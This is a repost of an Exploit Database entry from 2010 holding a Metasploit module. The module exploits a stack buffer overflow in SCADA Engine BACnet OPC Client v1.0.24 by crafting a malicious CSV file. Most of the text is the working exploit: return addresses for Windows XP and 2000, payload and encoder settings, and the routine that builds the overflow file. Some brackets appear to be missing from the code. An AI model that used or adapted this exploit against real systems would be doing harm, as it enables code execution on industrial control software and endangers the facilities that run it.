BACnet OPC Client – Local Buffer Overflow (Metasploit) (2)

Exploit Database
108 阅读

作者： Metasploit

日期： 2010-11-14
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/16668/

# $Id: bacnet_csv.rb 11039 2010-11-14 19:03:24Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'BACnet OPC Client Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in SCADA

Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client

parses a specially crafted csv file, arbitrary code may be

executed.

'License'=> MSF_LICENSE,

'Author' => [ 'Jeremy Brown', 'MC' ],

'Version'=> '$Revision: 11039 $',

'References' =>

[

[ 'OSVDB', '68096'],

[ 'BID', '43289' ],

[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-264-01.pdf' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'MinNops'=> 0,

'MaxNops'=> 0,

'Space'=> 698,

'BadChars' =>Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),

'StackAdjustment' => -3500,

'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",

'EncoderOptions' =>

{

'BufferRegister' => 'ECX',

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP3 English', { 'Ret' => 0x77e26323 } ],

[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],

'Privileged' => false,

'DisclosureDate' => 'Sep 16 2010',

'DefaultTarget'=> 0))

register_options(

[

OptString.new( 'FILENAME',[ false, 'The file name.','msf.csv' ]),

], self.class)

end

def exploit

csv = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\"

csv << rand_text_alpha_upper(185)

csv << [target.ret].pack('V') + rand_text_alpha_upper(4)

csv << payload.encoded + rand_text_alpha_upper(750 - payload.encoded.length)

csv << "\\scada,0,0,\n"

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(csv)

end